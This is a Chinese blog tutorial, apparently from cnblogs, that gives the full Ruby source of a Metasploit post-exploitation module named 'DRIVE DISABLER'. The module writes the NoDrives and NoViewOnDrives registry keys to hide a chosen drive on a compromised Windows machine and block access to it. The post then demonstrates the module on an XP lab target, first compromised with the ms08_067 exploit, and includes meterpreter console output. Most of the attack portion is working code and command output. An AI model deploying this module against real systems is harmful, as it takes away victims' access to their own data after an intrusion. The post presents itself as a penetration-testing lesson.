编写让磁盘失效的后渗透模块

一、代码实现

复制代码
    require 'msf/core'
    require 'rex'
    require 'msf/core/post/windows/registry'
    class MetasploitModule < Msf::Post
      include Msf::Post::Windows::Registry
      def initialize
        super(
          'Name' => 'DRIVE DISABLER',
          'Description' => 'drive test!',
          'Author' => 'z9m8r8',
          'License' => MSF_LICENSE
        )
        register_options(
        [     
      OptString.new(
'DriveName',[true,'Please set the Drive Letter']) ], self.class ) end def run drive_int = drive_string(datastore['DriveName']) key1="HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" exists=meterpreter_registry_key_exist?(key1) if not exists print_error("Key Doesn't exist,Creating Key!") registry_createkey(key1) print_good("creating ok!") meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE) print_good("Restricting Access to the Drive") meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE) else print_good("Key Exist, Skipping and Creating Values") print_good("Hiding Drive") meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE) print_good("Restricting Access to the Drive") meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE) end print_good("Disabled #{datastore['DriveName']} Drive") end def drive_string(drive) case drive when "A" return 1 when "B" return 2 when "C" return 4 when "D" return 8 when "E" return 16 end end end
复制代码

二、代码解析

1、库文件介绍

Msf::Post::Windows::Registry,存于lib/msf/core/post/windows/registry.rb中,功能:操纵注册表

2、函数介绍

  • register_options

register_options定义模块中要使用的自定义选项,并且使用OptString.new将DriveName定义为字符串类型。要定义一个新选项,需要required和description两个参数。这里需要将required的值设置为true,因为我们需要一个盘符来启动隐藏和禁用的进程。将这个值设置为true之后,除非将一个值分配给这个模块,否则这个模块将不会启动。

  • run

meterpreter_registry_key_exist,存在于lib/msf/core/post/windows/registry.rb中,检查在注册表中是否存在一个指定的键

registry_createkey,存在于lib/msf/core/post/windows/registry.rb中,创建一个新的注册表键

meterpreter_registry_setvaldata,存在于lib/msf/core/post/windows/registry.rb中,创建一个新的注册表值

  • drive_string()

盘符掩码的计算,即将变量DriveName发送给drive_string方法以获得盘符对应的数值。

公式:2^([驱动器字符序列号]-1)

  • meterpreter_registry_setvaldata()

参数(5个)说明:

字符串类型的注册表键路径,字符串类型的注册表值,10进制数字表示的硬盘盘符(这个值也要转换成对应的字符串类型),字符串类型的注册表值类型,整数类型的视图值(初始为0,设置为1表示32位视图,设置为2表示64位视图)

为实现对盘符的隐藏和访问限制需要创建两个注册表值,它们分别为NoDrives和NoViewOnDrive,值为10进制或者16进制表示的盘符,定义的类型为DWORD。

meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE)

meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE)

  • meterpreter_registry_key_exist

检查在系统中是否已经存在该注册表键

三、msf 中测试

1、靶机(xp_sp3)测试前

2、利用ms08_067拿下靶机(XP)

  • 需要开启445端口,关闭防火墙
  • xp开启445端口的方法
  • https://zhidao.baidu.com/question/630090474565658644.html
  • WinXP如何关闭Windows防火墙
  • http://www.xitongzhijia.net/xtjc/20171106/111018.html
  • 使用 exploit(windows/smb/ms08_067_netapi) 攻击即可

报错解决

445 端口问题,有时候445是开着的,但仍旧报上图错,先重新开下445,再重启xp即可

3、后渗透测试

复制代码
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    meterpreter > background 
    [*] Backgrounding session 1...
    msf6 exploit(windows/smb/ms08_067_netapi) > back 
    msf6 > use post/windows/windows_test 
    msf6 post(windows/windows_test) > set session 1
    session => 1
    msf6 post(windows/windows_test) > set drivename C
    drivename => C
    msf6 post(windows/windows_test) > exploit 
    
    [!] SESSION may not be compatible with this module (incompatible session type: meterpreter)
    [+] Key Exist, Skipping and Creating Values
    [+] Hiding Drive
    [+] Restricting Access to the Drive
    [+] Disabled C Drive
    [*] Post module execution completed
    msf6 post(windows/windows_test) > 
复制代码

4、靶机测试后:

 备注:要确保你已经获得了系统级的访问权限,方可执行上面的代码

四、参考文献

《精通Metasploit渗透测试》

posted @   z9m8r8  阅读(16)  评论(0编辑  收藏  举报
编辑推荐:
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
阅读排行:
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?
点击右上角即可分享
微信分享提示